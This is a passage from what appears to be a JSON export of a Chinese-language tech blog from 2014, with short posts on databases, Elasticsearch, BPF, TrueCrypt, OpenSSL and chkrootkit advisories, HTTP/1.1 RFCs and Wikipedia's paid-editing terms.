compiler)。不過就這點來說，使得這上面的 patch 要 backport 回 MySQL 又增加了一些狀況...\r\n\r\nWebScaleSQL 的出現代表 MySQL fork 又多一家，而且因為背後是這四家公司搞出來的，看起來聲勢會很浩大。進入「合久必分」的階段...",
    "title": "WebScaleSQL"
  },
  {
    "id": "4674",
    "body": "在「<a href=\"http://www1.cs.columbia.edu/~hgs/audio/44.1.html\">Explanation of 44.1 kHz CD sampling rate</a>」這邊看到 44.1kHz 的解釋...\r\n\r\n這個數字反而是跟 video 有關而設計出來的：\r\n\r\n<blockquote>In 60 Hz video, there are 35 blanked lines, leaving 490 lines per frame or 245 lines per field, so the sampling rate is given by :\r\n\r\n60 X 245 X 3 = 44.1 KHz\r\n\r\nIn 50 Hz video, there are 37 lines of blanking, leaving 588 active lines per frame, or 294 per field, so the same sampling rate is given by\r\n\r\n50 X 294 X3 = 44.1 Khz.</blockquote>\r\n\r\n而後來 44.1kHz 被拿去 CD 規格裡使用而被廣泛應用...",
    "title": "44.1kHz 的由來..."
  },
  {
    "id": "4676",
    "body": "<a href=\"https://www.google.com/\">Google</a> 在 <a href=\"http://googlewebmastercentral.blogspot.com/\">Official Google Webmaster Central Blog</a> 上正式向全世界公告他們的 Searchbot 將會解讀 JavaScript：「<a href=\"http://googlewebmastercentral.blogspot.com/2014/05/understanding-web-pages-better.html\">Understanding web pages better</a>」。\r\n\r\n也就是說，再這次改版後，就算你的頁面全部用 JavaScript 產生，Google 也有能力解讀出來。這顛覆了以前學到的觀念...\r\n\r\n其他家 (<a href=\"https://duckduckgo.com/\">DuckDuckGo</a>？) 會支援嗎？不知道會不會跳下去做...",
    "title": "Google Searchbot 將開始有能力解讀 JavaScript..."
  },
  {
    "id": "4678",
    "body": "由於 <a href=\"http://www.elasticsearch.org/\">Elasticsearch</a> 的想法與實做比起 <a href=\"http://lucene.apache.org/solr/\">Solr</a> 吸引人，可以看到愈來愈多團體換過去...\r\n\r\n而前幾天 Elasticsearch 的官方放出 1.2.0 與 1.1.2 的消息：「<a href=\"http://www.elasticsearch.org/blog/elasticsearch-1-2-0-released/\">elasticsearch 1.2.0 and 1.1.2 released</a>」。\r\n\r\n1.2.0 最大的改變是強制使用 <a href=\"http://www.java.com/\">Java</a> 7 了，也就是不能在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 12.04 下安裝 <a href=\"http://packages.ubuntu.com/precise/default-jre\">default-jre</a> 了，變成要裝 <a href=\"http://packages.ubuntu.com/precise/openjdk-7-jre\">openjdk-7-jre</a>。(要注意，官方建議的是 <a href=\"http://www.oracle.com/\">Oracle</a> 官方的 JDK，而非 <a href=\"http://openjdk.java.net/\">OpenJDK</a>)\r\n\r\n如果是 Ubuntu 14.04 就沒這個問題。(因為 default-jre 會裝 Java 7)\r\n\r\n另外一個大改變是，之前產生安全問題的 dynamic scripting 預設關掉了，也就是 <a href=\"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-3120\">CVE-2014-3120</a>。\r\n\r\n目前我的進度只到看完 <a href=\"http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/mapping.html\">mapping</a>，但還沒實際開始塞資料進去玩...",
    "title": "Elasticsearch 1.2.0"
  },
  {
    "id": "4680",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的服務：「<a href=\"http://9m.no/\">9m URL Shortener</a>」。\r\n\r\n居然用 Unicode 短網址當作編碼的部份... 是很有趣啦，不過因為難以輸入，只適合用在 internet 上的傳遞？而不是讓人輸入的...\r\n\r\n<img src=\"//i.imgur.com/mHS5PQP.png\" alt=\"\" />\r\n\r\n有些字在我的電腦上還出不來 XDDD",
    "title": "用 Unicode 字元當作短網址編碼的服務..."
  },
  {
    "id": "4683",
    "body": "<a href=\"https://code.google.com/p/pdfium/\">PDFium</a> 是 open source PDF rendering engine，功能上像是 <a href=\"http://www.mozilla.org/\">Mozilla</a> 所研發的 <a href=\"http://mozilla.github.io/pdf.js/\">PDF.js</a>，不過是以 C++ 寫的原生套件。\r\n\r\n看起來目標是要進 <a href=\"https://www.google.com/chrome\">Chrome</a> 與 <a href=\"http://www.chromium.org/\">Chromium</a>，以取代現有 Google Chrome 裡所含的非 open source 版本。\r\n\r\n不過 Chromium 目前應該已經有 <a href=\"https://chrome.google.com/webstore/detail/pdf-viewer/oemmndcbldboiebfnladdacbdfmadadm\">PDF Viewer</a> 可以用？(利用 PDF.js 開發出的套件)",
    "title": "Chromium 的 PDFium"
  },
  {
    "id": "4685",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 的「<a href=\"http://www.mysqlperformanceblog.com/2014/05/23/improve-innodb-performance-write-bound-loads/\">How to improve InnoDB performance by 55% for write-bound loads</a>」這篇在討論 Journal filesystem 以及 InnoDB 的 Double write buffer。\r\n\r\n先講文章內的結論。\r\n\r\n在 <a href=\"https://en.wikipedia.org/wiki/Ext4\">ext4</a> 上開啟 Journal filesystem 功能後並且關掉 InnoDB 的 Double write buffer 後，資料的安全性不受影響，但效能上升非常多。而與目前常用的 <a href=\"https://en.wikipedia.org/wiki/XFS\">XFS</a> 比較起來也是領先不少。\r\n\r\n<img src=\"//i.imgur.com/tbny5EF.png\" alt=\"\" />\r\n\r\n要注意的是，這邊的數據是資料大小小於記憶體大小時 <a href=\"https://code.launchpad.net/~percona-dev/perconatools/tpcc-mysql\">tpcc-mysql</a> 的執行數據。\r\n\r\n原文還有探討其他的狀況，像是 InnoDB 與 MyISAM 混用的問題，有用到的人應該自己去看看原文。\r\n\r\n而目前在公司用 XFS 已經用習慣而且相當穩定，但該來花時間投資在 ext4 了，常常可以看到 ext4 很不錯之類的消息。",
    "title": "利用 Journal filesystem 與 Double write buffer 改善 InnoDB 寫入效能"
  },
  {
    "id": "4688",
    "body": "看到 <a href=\"http://www.cloudflare.com/\">CloudFlare</a> 的「<a href=\"http://blog.cloudflare.com/bpf-the-forgotten-bytecode\">BPF - the forgotten bytecode</a>」在文章裡提到 BPF (<a href=\"https://en.wikipedia.org/wiki/Berkeley_Packet_Filter\">Berkeley Packet Filter</a>)，發現從大學畢業後就沒再看過... (然後也沒什麼印象了)\r\n\r\ntcpdump 可以把 expression 轉成 BPF bytecode，再丟進 kernel 執行，拿 CloudFlare 文章裡的例子在自己電腦上跑：\r\n\r\n<pre>gslin@GSLIN-DESKTOP [~] [07:27/W4] sudo tcpdump -p -ni eth1 -d \"ip and udp\"\r\n(000) ldh      [12]\r\n(001) jeq      #0x800           jt 2    jf 5\r\n(002) ldb      [23]\r\n(003) jeq      #0x11            jt 4    jf 5\r\n(004) ret      #65535\r\n(005) ret      #0</pre>\r\n\r\n而對於複雜的過濾邏輯而需要拼效能時，可能會需要手動寫 bytecode (像是優先先判斷某些比較容易過濾的欄位，藉以降低判斷的量)，可以透過 <code>SOCK_RAW</code> 與 <code>SO_ATTACH_FILTER</code> 直接寫 bytecode 給 kernel 執行。\r\n\r\n雖然文章內沒有明講，不過看起來 CloudFlare 有這樣做，尤其後面又有提到：\r\n\r\n<blockquote>These kind of rules are very useful, they allow us to pinpoint the malicious traffic and drop it early. Just in the last couple of weeks we dropped 870,213,889,941 packets with few BPF rules. Recently during a flood we saw 41 billion packets dropped throughout a night due to a single well placed rule.</blockquote>\r\n\r\n記起來以後說不定用的到...",
    "title": "BPF (Berkeley Packet Filter)"
  },
  {
    "id": "4690",
    "body": "<a href=\"http://xkcd.com/\">xkcd</a> 上看到的，取自「<a href=\"http://xkcd.com/1373/\">xkcd: Screenshot</a>」：\r\n\r\n<img src=\"//i.imgur.com/6CeEfyv.png\" alt=\"\" />",
    "title": "電池..."
  },
  {
    "id": "4694",
    "body": "<a href=\"http://www.ibm.com/\">IBM</a> 中止與 <a href=\"http://www.netapp.com/\">NetApp</a> 的 OEM 關係，要賣自己的硬體了：「<a href=\"http://www.bloomberg.com/news/2014-05-23/ibm-stops-selling-netapp-units-to-favor-own-storage-devices-1-.html\">IBM Stops Selling NetApp Units in Favor of Own Storage Devices</a>」。\r\n\r\n幾個重點：\r\n\r\n<blockquote>The move is poised to be a setback for NetApp, which gets about 2 percent of its revenue from IBM, according to data compiled by Bloomberg.</blockquote>\r\n\r\n<blockquote>“IBM is focused on strengthening its Software Defined Storage portfolio to provide greater scalability to clients,” Sean Tetpon, a spokesman for IBM, said in an e-mail.</blockquote>\r\n\r\n有很多種解讀...",
    "title": "IBM 中止與 NetApp 的 OEM 關係"
  },
  {
    "id": "4696",
    "body": "我喜歡 <a href=\"http://framework.zend.com/manual/1.12/en/zend.view.introduction.html\">Zend_View</a> 來處理 view 的部份，但並不是每個人都習慣在所有 output 的部份加上對應的 escape function，所以還是得找其他有 auto escape 功能的 framework 來用看看，而 <a href=\"http://twig.sensiolabs.org/\">Twig</a> 是其中一個還不錯的選擇。\r\n\r\n用 <a href=\"https://getcomposer.org/\">Composer</a> 裝完 Twig 後：\r\n\r\n<pre>&lt;?php\r\n\r\nrequire __DIR__ . '/vendor/autoload.php';\r\n\r\n$loader = new Twig_Loader_Filesystem(__DIR__ . '/view');\r\n$twig = new Twig_Environment($loader, array('strict_variables' =&gt; true));\r\n\r\n$array_data = array(\r\n    'foo' => 'bar',\r\n);\r\n\r\necho $twig->render('index/index.html.twig', $array_data);</pre>\r\n\r\n比較特別是為了支援 <a href=\"http://www.php.net/\">PHP</a> 5.2 而沒有使用 namespace。\r\n\r\n而拿 ab 打可以測出來速度很快，一般會遇到的瓶頸應該會是 database 而非 Twig...",
    "title": "Twig 的用法"
  },
  {
    "id": "4705",
    "body": "<a href=\"http://www.truecrypt.org/\">TrueCrypt</a> 是相當有名的磁碟加密軟體，而官網上突然宣佈這些事情讓大家相當驚愕，今天打開 <a href=\"http://zite.com/\">Zite</a> 時發現所有人都是在講這件事情，已經震驚了整個資安領域...\r\n\r\n<img src=\"//i.imgur.com/7kkFGx9.png\" alt=\"\" />\r\n\r\n<a href=\"https://www.schneier.com/\">Bruce Schneier</a> 寫了一篇「<a href=\"https://www.schneier.com/blog/archives/2014/05/truecrypt_wtf.html\">TrueCrypt WTF</a>」，猜測的可能性包括了：\r\n\r\n<blockquote>Speculations include a massive hack of the TrueCrypt developers, some Lavabit-like forced shutdown, and an internal power struggle within TrueCrypt. I suppose we'll have to wait and see what develops.</blockquote>\r\n\r\n不知道實際上發生了什麼事情，接下來應該會有更多消息出來，要盯著看了...",
    "title": "TrueCrypt 官方以「不安全」的原因要求大家停用 TrueCrypt..."
  },
  {
    "id": "4709",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 推出信用卡式的 MFA：「<a href=\"http://blogs.aws.amazon.com/security/post/Tx3JJPYCA9DT0SO/A-Convenient-New-Hardware-MFA-Form-Factor\">A Convenient New Hardware MFA Form Factor</a>」。\r\n\r\n<img src=\"//i.imgur.com/fAdSKim.jpg\" alt=\"\" />\r\n\r\n一樣是跟 <a href=\"http://gemalto.com/\">Gemalto</a> 合作。相較於之前掛在鑰匙圈上變得更容易收納 (可以放到皮夾內)：\r\n\r\n<img src=\"//i.imgur.com/55ahFkY.jpg\" alt=\"\" />\r\n\r\n實體的 OTP 還是比 app 形式的安全強度好，變成信用卡形式後應該再弄一片來玩玩...",
    "title": "AWS 推出信用卡式的 MFA"
  },
  {
    "id": "4711",
    "body": "<a href=\"https://zh.wikipedia.org/wiki/Windows_XP\">Windows XP</a> 的支援到 2014 年 4 月 8 日結束，而這表示在這之後 Windows XP 將不會有安全性更新 (除了特殊的情況)。\r\n\r\n不過，<a href=\"https://en.wikipedia.org/wiki/Windows_Embedded_Industry\">Windows Embedded POSReady</a> 是 Windows XP 的一個分支版本，則支援到 2019 年。而網路上應該有不少媒體都報過了 (像是「<a href=\"http://www.extremetech.com/computing/183362-windows-xp-rises-from-the-grave-simple-hack-gives-you-five-more-years-of-updates\">Windows XP rises from the grave: Simple hack gives you five more years of updates</a>」)，可以利用改 registry 的方式讓 Windows XP 收這些更新：\r\n\r\n到 <code>HKEY_LOCAL_MACHINE\\SYSTEM\\WPA\\PosReady\\</code> 下增加一筆 <code>Installed</code> (DWORD，值為 1)。\r\n\r\n這是目前使用 Windows XP 最好的方式了。\r\n\r\n<strong>Update</strong>：本來的 key 有錯誤。",
    "title": "讓 Windows XP 活更久的方法..."
  },
  {
    "id": "4714",
    "body": "2012 年的老文章了，不確定是 <a href=\"http://zite.com/\">Zite</a> 上看到，還是 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的：「<a href=\"http://www.kfirlavi.com/blog/2012/11/14/defensive-bash-programming\">Defensive BASH Programming</a>」。\r\n\r\n不是給初學者看的文件，而是寫給對 shell script 有一定基礎的人。針對要怎麼樣才能寫出容易維護，而且問題又少的 code 所提出來的準則，但也未必適用於每一個人 (或是團體)。\r\n\r\n這篇文章的好處是有說明為什麼這樣規範，重點在吸收這些想法。",
    "title": "Defensive BASH Programming"
  },
  {
    "id": "4716",
    "body": "<a href=\"http://spark.apache.org/\">Apache Spark</a> 以記憶體操作為賣點的想法，有人提出來直接讓 HDFS 支援 Memory Storage 了：「<a href=\"http://hortonworks.com/blog/ddm/\">Discardable Distributed Memory: Supporting Memory Storage in HDFS</a>」，文章的副標題「HDFS's storage subsystem gets a boost with discardable distributed memory」也說明了特性。\r\n\r\n整個計畫在「<a href=\"https://issues.apache.org/jira/browse/HDFS-5851\">[HDFS-5851] Support memory as a storage medium - ASF JIRA</a>」這邊可以看到。\r\n\r\n不過 Spark 帶來的想法現在才有進度... 這發展的速度也太快了 XD",
    "title": "HDFS 上的 Memory Storage"
  },
  {
    "id": "4718",
    "body": "<a href=\"http://www.vagrantup.com/\">Vagrant</a> 官方沒公告，但在 <a href=\"https://github.com/\">GitHub</a> 上可以看到 Changelog：「<a href=\"https://github.com/mitchellh/vagrant/blob/v1.6.3/CHANGELOG.md\">1.6.3 (May 29, 2014)</a>」。\r\n\r\n本來在 <a href=\"https://www.docker.io/\">Docker</a> provider 上有兩個 workaround 要設定 (<code>docker.has_ssh</code> 以及 <code>override.ssh.port</code>)，現在都不需要了，預設值就有幫你自動偵測：\r\n\r\n<ul>\r\n\t<li>providers/docker: Better error messaging when SSH is not ready direct to container. [GH-3763]</li>\r\n\t<li>providers/docker: Don't port map SSH port if container doesn't support SSH. [GH-3857]</li>\r\n\t<li>providers/docker: Proper SSH info if using native driver. [GH-3799]</li>\r\n\t<li>providers/docker: Verify host VM has SSH ready. [GH-3838]</li>\r\n</ul>\r\n\r\n這樣處理起來又方便一些...",
    "title": "Vagrant 1.6.3"
  },
  {
    "id": "4720",
    "body": "<a href=\"https://help.justin.tv/entries/41803380-Changes-to-Video-Archive-System\">Changes to the Video Archive System</a>：\r\n\r\n<blockquote>we have concluded to remove all archiving after June 8, 2014.</blockquote>\r\n\r\n變成專注只做 real-time streaming 這塊。雖然被買的是 <a href=\"http://www.twitch.tv/\">twitch</a>，但感覺上跟 <a href=\"https://www.google.com/\">Google</a> 總是有點關係...",
    "title": "Justin.tv 將消滅錄影功能"
  },
  {
    "id": "4722",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到居然用這張圖：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>Package : chkrootkit &#10;CVE ID : CVE-2014-0476 <a href=\"http://t.co/AZatsybfGQ\">pic.twitter.com/AZatsybfGQ</a></p>&mdash; Pipes (@pipes) <a href=\"https://twitter.com/pipes/statuses/474099695229235200\">June 4, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<a href=\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0476\">CVE-2014-0476</a> 比較完整的說明可以看 <a href=\"https://bugzilla.redhat.com/\">Red Hat 的 Bugzilla</a> 上給的說明：「<a href=\"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-0476\">Bug 1104455 &ndash; CVE-2014-0476 chkrootkit: local privilege escalation</a>」。\r\n\r\n阿彌陀佛...",
    "title": "CVE-2014-0476：掃 Rootkit 的程式變成 Rootkit？"
  },
  {
    "id": "4725",
    "body": "熱騰騰的「<a href=\"http://www.openssl.org/news/secadv_20140605.txt\">OpenSSL Security Advisory [05 Jun 2014]</a>」：\r\n<ul>\r\n\t<li>SSL/TLS MITM vulnerability (CVE-2014-0224)</li>\r\n\t<li>DTLS recursion flaw (CVE-2014-0221)</li>\r\n\t<li>DTLS invalid fragment vulnerability (CVE-2014-0195)</li>\r\n\t<li>SSL_MODE_RELEASE_BUFFERS NULL pointer dereference (CVE-2014-0198)</li>\r\n\t<li>SSL_MODE_RELEASE_BUFFERS session injection or denial of service (CVE-2010-5298)</li>\r\n\t<li>Anonymous ECDH denial of service (CVE-2014-3470)</li>\r\n</ul>\r\n這太熱鬧了，第一個 security issue 可以在 MITM 的情況下，強迫選用比較差的 cipher：\r\n\r\n<blockquote>An attacker using a carefully crafted handshake can force the use of weak keying material in OpenSSL SSL/TLS clients and servers.</blockquote>\r\n\r\n第三個則有可能直接爆破執行程式碼：\r\n\r\n<blockquote>A buffer overrun attack can be triggered by sending invalid DTLS fragments to an OpenSSL DTLS client or server. This is potentially exploitable to run arbitrary code on a vulnerable client or server.</blockquote>\r\n\r\n接下來幾天對 SA 來說又是無止盡的升級地獄...",
    "title": "OpenSSL 安全通報連發..."
  },
  {
    "id": "4727",
    "body": "JavaScript 在正式提供服務時一般都會使用「<a href=\"http://yui.github.io/yuicompressor/\">YUI Compressor</a>」、「<a href=\"https://github.com/mishoo/UglifyJS\">UglifyJS</a>」或是「<a href=\"https://developers.google.com/closure/compiler/\">Closure Compiler</a>」壓縮後再拿到正式環境上使用，最主要的目的是為了降低網路傳輸量。\r\n\r\n這些工具其中一個特點是，local function 與 local variable 會被較短的名字取代掉，這可以讓想要反組譯的人比較麻煩。\r\n\r\n不過今天看到的這個工具可以解決「困擾」：「<a href=\"http://www.jsnice.org/\">JSNice</a>」。(在 Slashdot 上的「<a href=\"http://developers.slashdot.org/story/14/06/03/2111226/machine-learning-used-for-javascript-code-de-obfuscation\">Machine Learning Used For JavaScript Code De-obfuscation</a>」這篇看到的)\r\n\r\n用統計方法去「猜測」這些 local function 與 local variable 應該叫什麼名字，讓人比較好理解。官方對準確度的說法是超過 60%：\r\n\r\n<blockquote>In our experiments, we found JSNice to be effective for deobfuscating minified code. On average, more than 60% of the identifiers are recovered to the same name as before the minification process.</blockquote>\r\n\r\n接下來會想辦法提供 UI 讓使用者可以選擇另外的名字：\r\n\r\n<blockquote>Further, as JSNice computes multiple ranked suggestions, we provide a UI to navigate through these suggestions and select alternative identifier names.</blockquote>\r\n\r\n先記錄起來，這網站很有趣，之後要 trace 別人的程式碼應該常常會用到 XDDD",
    "title": "用統計方法反推 JavaScript 壓縮程式的變數名稱"
  },
  {
    "id": "4729",
    "body": "在「<a href=\"http://blog.definedcode.com/osx-qemu-kvm\">Running OS X Mavericks under QEMU with KVM</a>」這篇看到的。\r\n\r\n開頭就提到了目前的情況：\r\n\r\n<blockquote>Virtualizing OS X is a thing that can today be done very easily, with VMware and VirtualBox fully supporting it under OS X hosts. But what about virtualizing it using a bare metal hypervisor and QEMU? Under Linux? Finally I've got Mavericks fully working under QEMU (with no extra kexts(!)) and it wasn't easy.</blockquote>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/OS_X_Mavericks\">OS X Mavericks</a> 是 10.9，過不久後文章應該會再度更新吧...",
    "title": "在 QEMU/KVM 上跑 Mac OS X..."
  },
  {
    "id": "4731",
    "body": "<a href=\"https://www.google.com/\">Google</a> 前天發表了 <a href=\"https://www.google.com/chrome/\">Chrome</a> 裡面的 <a href=\"https://zh.wikipedia.org/wiki/PGP\">PGP</a> 實做套件：「<a href=\"http://googleonlinesecurity.blogspot.com/2014/06/making-end-to-end-encryption-easier-to.html\">Making end-to-end encryption easier to use</a>」。\r\n\r\n目前只放出了 source code，並沒有在 <a href=\"https://chrome.google.com/webstore\">Chrome Web Store</a> 上架，這點在網站上就直接說明了，他們目前認為目前沒有被足夠的人檢查過，所以請不要傳到 Chrome Web Store 上：\r\n\r\n<blockquote><strong>Since this is source, I could just build this and submit it to the Chrome Web Store</strong>\r\n\r\nPlease don’t do this.\r\n\r\nThe End-To-End team takes its responsibility to provide solid crypto very seriously, and we don’t want at-risk groups that may not be technically sophisticated — journalists, human-rights workers, et al — to rely on End-To-End until we feel it’s ready. Prematurely making End-To-End available could have very serious real world ramifications.\r\n\r\nOne of the reasons we are doing this source code release is precisely so that the community as a whole can help us make sure that we haven’t overlooked anything in our implementation of End-To-End.\r\n\r\nOnce we feel that End-To-End is ready, we will release it via the Chrome Web Store ourselves.</blockquote>\r\n\r\n而為了鼓勵大家去找問題，雖然這是很新的軟體，但已經將 End-to-End 直接納入 <a href=\"http://www.google.com/about/appsecurity/reward-program/\">Vulnerability Reward Program</a> 裡：\r\n\r\n<blockquote>And we mean it: our Vulnerability Reward Program offers financial awards for finding security bugs in Google code, including End-to-End.</blockquote>\r\n\r\n不過傳統的方法還是會更可靠一些，畢竟 JavaScript 沒辦法很仔細控制記憶體內容，在放掉的記憶體空間內可能會包含某些未加密的資訊，甚至是 private key 的資訊。",
    "title": "Google 在 Chrome 內的 PGP：End-to-End"
  },
  {
    "id": "4736",
    "body": "HTTP/1.1 源自十五年前 (1999 年 6 月) 所發佈的 <a href=\"http://tools.ietf.org/html/rfc2616\">RFC 2616</a>，而十五年後被翻新了。\r\n\r\n可以在 RFC 2616 的狀態資訊上看到「Obsoleted by: 7230, 7231, 7232, 7233, 7234, 7235」，把本來的 RFC 2616 拆開成幾份文件：\r\n\r\n<ul>\r\n\t<li>RFC 7230：<a href=\"http://tools.ietf.org/html/rfc7230\">Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</a></li>\r\n\t<li>RFC 7231：<a href=\"http://tools.ietf.org/html/rfc7231\">Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</a></li>\r\n\t<li>RFC 7232：<a href=\"http://tools.ietf.org/html/rfc7232\">Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</a></li>\r\n\t<li>RFC 7233：<a href=\"http://tools.ietf.org/html/rfc7233\">Hypertext Transfer Protocol (HTTP/1.1): Range Requests</a></li>\r\n\t<li>RFC 7234：<a href=\"http://tools.ietf.org/html/rfc7234\">Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li>\r\n\t<li>RFC 7235：<a href=\"http://tools.ietf.org/html/rfc7235\">Hypertext Transfer Protocol (HTTP/1.1): Authentication</a></li>\r\n</ul>\r\n\r\n在「<a href=\"http://evertpot.com/http-11-updated/\">HTTP/1.1 just got a major update.</a>」這篇文章裡面整理了一些改變，大多數都是相容於現在的使用習慣，另外把一些過時的預設行為拿掉。(像是預設 charset 為 ISO-8859-1)\r\n\r\n找機會來重頭翻一下，以後就不是翻 RFC 2616 了...",
    "title": "HTTP/1.1 的更新"
  },
  {
    "id": "4741",
    "body": "先前在看一些 open source 的 PaaS 文件時看到 <a href=\"http://about.adamwiggins.com/\">Adam Wiggins</a> (<a href=\"https://www.heroku.com/\">Heroku</a> 的創辦人) 寫的「<a href=\"http://12factor.net/\">The Twelve-Factor App</a>」。\r\n\r\n裡面其實就是 Heroku 對上面跑的 app 的要求，以及 Heroku 在設計產品時的想法，所以跟 Heroku 業務沒有關係的部份也大多都沒寫到 :p\r\n\r\n拿來參考與理解想法是 okay 的，但如果要完全照著上面的方法做就未必了。",
    "title": "Heroku 創辦人 Adam Wiggins 寫的 The Twelve-Factor App"
  },
  {
    "id": "4743",
    "body": "<a href=\"http://hippyvm.com/\">HippyVM</a> 是透過 <a href=\"http://pypy.org/\">PyPy</a> 的技術實做出來的 <a href=\"http://www.php.net/\">PHP</a> 相容方案：\r\n\r\n<blockquote>HippyVM is a reimplementation of the PHP language using PyPy technology.</blockquote>\r\n\r\n而且宣稱電翻市場上所有對手：\r\n\r\n<blockquote>Right now, HippyVM is 7.3x faster than stock PHP and 2x faster than HHVM, using a geometric mean.</blockquote>\r\n\r\n<a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/hippyvm/hippyvm\">hippyvm/hippyvm</a> 可以看到目前的進展：\r\n\r\n<blockquote>HippyVM right now works only on 64bit linux on x86 platform (this limitation is temporary though, the RPython toolchain supports 32 and 64 bit x86, ARMv6 and ARMv7 on windows, os x and linux).</blockquote>\r\n\r\n目前還是 pre-release 版本，但這個逆襲的感覺好殺...",
    "title": "殺意甚濃的 PHP 相容方案：HippyVM"
  },
  {
    "id": "4745",
    "body": "<a href=\"https://www.globalsign.com/\">GlobalSign</a> 提供 Open Source 專案免費的 SSL Certificate：「<a href=\"https://www.globalsign.com/ssl/ssl-open-source/?\">Free SSL Certificate for Open Source Projects</a>」。\r\n\r\n不過看了看需求還蠻龜毛的，不如自己花個 USD$10/year 還比較方便。如果不在意時間成本的話就申請吧，我猜實際上也不會有多少專案申請...",
    "title": "GlobalSign 提供 Open Source 專案免費的 SSL Certificate"
  },
  {
    "id": "4747",
    "body": "<a href=\"http://www.docker.com/\">Docker</a> 出 1.0 版了：「<a href=\"http://blog.docker.com/2014/06/its-here-docker-1-0/\">It’s Here:  Docker 1.0</a>」。\r\n\r\n現在都是配合 <a href=\"http://www.vagrantup.com/\">Vagrant</a> 使用，而非直接使用 Docker，出了新版反而沒什麼特別的感覺...",
    "title": "Docker 1.0"
  },
  {
    "id": "4750",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 自家的 AMI 看起來是 <a href=\"http://www.centos.org/\">CentOS</a> 之類改出來的，主力是 <a href=\"https://en.wikipedia.org/wiki/Yellowdog_Updater,_Modified\">yum</a>。\r\n\r\n但官方的 yum 缺了不少東西，所以就要靠 <a href=\"http://repoforge.org/\">RepoForge</a> 擴充了。\r\n\r\n在 RepoForce 的 <a href=\"http://repoforge.org/use/\">Using RepoForge</a> 頁面上有說明要先裝他們家的套件，舉例來說，假設是 EL 6 (x86_64) 的話，就複製對應的 url 連結，然後叫 yum 裝：\r\n\r\n<pre>yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm</pre>\r\n\r\n接下來就可以用 yum 裝官方沒有支援的軟體了...",
    "title": "用 RepoForge 擴充 AWS 自家的 AMI"
  },
  {
    "id": "4755",
    "body": "這幾年推廣 HTTPS 的力量愈來愈大，然後有人做成海報推廣 XDDD\r\n\r\n在「<a href=\"http://natashenka.ca/printable-ssl-posters/\">Printable SSL Posters</a>」這篇文章裡面有不少作品，像是這張：\r\n\r\n<img src=\"//i.imgur.com/wsBhcKf.png\" alt=\"\" />",
    "title": "推廣 SSL 的海報"
  },
  {
    "id": "4757",
    "body": "「<a href=\"https://01.org/node/1495\">SIMD in JavaScript</a>」是 <a href=\"http://www.intel.com/\">Intel</a> 與 <a href=\"http://www.mozilla.org/\">Mozilla</a> 以及 <a href=\"https://www.google.com/\">Google</a> 的計畫，希望在 <a href=\"http://www.ecmascript.org/\">EMCAScript</a> 裡面增加規格，讓 EMCAScript 可以利用 CPU 的 SIMD 能力加速計算。\r\n\r\n另外讓我想到的是 <a href=\"http://asmjs.org/\">asm.js</a> 也是用類似的技術想法 (做不同的方向)，而且已經被 <a href=\"http://www.mozilla.org/firefox/\">Firefox</a> 22+ 以及 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 28+ 支援了，效果相當好...\r\n\r\n之後大家想要在 browser 上面做什麼事情，應該都會用類似的技術來做吧 (先檢測系統有沒有原生支援，沒有原生支援時用 plain javascript 模擬)。",
    "title": "SIMD in JavaScript"
  },
  {
    "id": "4762",
    "body": "貼圖爆破：\r\n\r\n<a href=\"//i.imgur.com/ynFsiOR.png\"><img src=\"//i.imgur.com/ynFsiOR.png\" alt=\"\" /></a>",
    "title": "幹壞事是進步最大的原動力"
  },
  {
    "id": "4765",
    "body": "在<a href=\"https://www.wikimedia.org/\">維基百科</a>昨天的使用條款修訂公告中，提到了「揭露利益衝突」的問題：「<a href=\"https://blog.wikimedia.org/2014/06/16/change-terms-of-use-requirements-for-disclosure/\">Making a change to our Terms of Use: Requirements for disclosure</a>」，這份文件的最後方有簡體中文版的說明，對於看英文比較不通順的人可以先看中文版的說明。\r\n\r\n在新版的「<a href=\"https://wikimediafoundation.org/wiki/Terms_of_Use\">Terms of Use</a>」裡面，有一個專門的章節「Paid contributions without disclosure」：\r\n\r\n<blockquote>These Terms of Use prohibit engaging in deceptive activities, including misrepresentation of affiliation, impersonation, and fraud. As part of these obligations, you must disclose your employer, client, and affiliation with respect to any contribution for which you receive, or expect to receive, compensation. You must make that disclosure in at least one of the following ways:\r\n<ul>\r\n\t<li>a statement on your user page,</li>\r\n\t<li>a statement on the talk page accompanying any paid contributions, or</li>\r\n\t<li>a statement in the edit summary accompanying any paid contributions.</li>\r\n</ul></blockquote>\r\n\r\n這段修正可以從「<a href=\"https://wikimediafoundation.org/w/index.php?title=Terms_of_Use&amp;diff=98151&amp;oldid=90463\">Difference between revisions of \"Terms of Use\" - Wikimedia Foundation</a>」這邊看到完整的 diff。\r\n\r\n這是對於「付費編輯」的反制：國外甚至有專門收費找人編輯維基百科的公司在運作 (可以參考 2013 年 10 月的「<a href=\"https://blog.wikimedia.org/2013/10/21/sue-gardner-response-paid-advocacy-editing/\">Wikimedia Foundation Executive Director Sue Gardner’s response to paid advocacy editing and sockpuppetry</a>」這篇文章)，這次在使用條款內直接增訂這一部份，將本來只是社群規範的項目變成直接上法院反制。\r\n\r\n早該這麼做了，這件事情意義重大...",
    "title": "維基百科的使用條款更新，強制揭露利益衝突問題"
  },
  {
    "id": "4767",
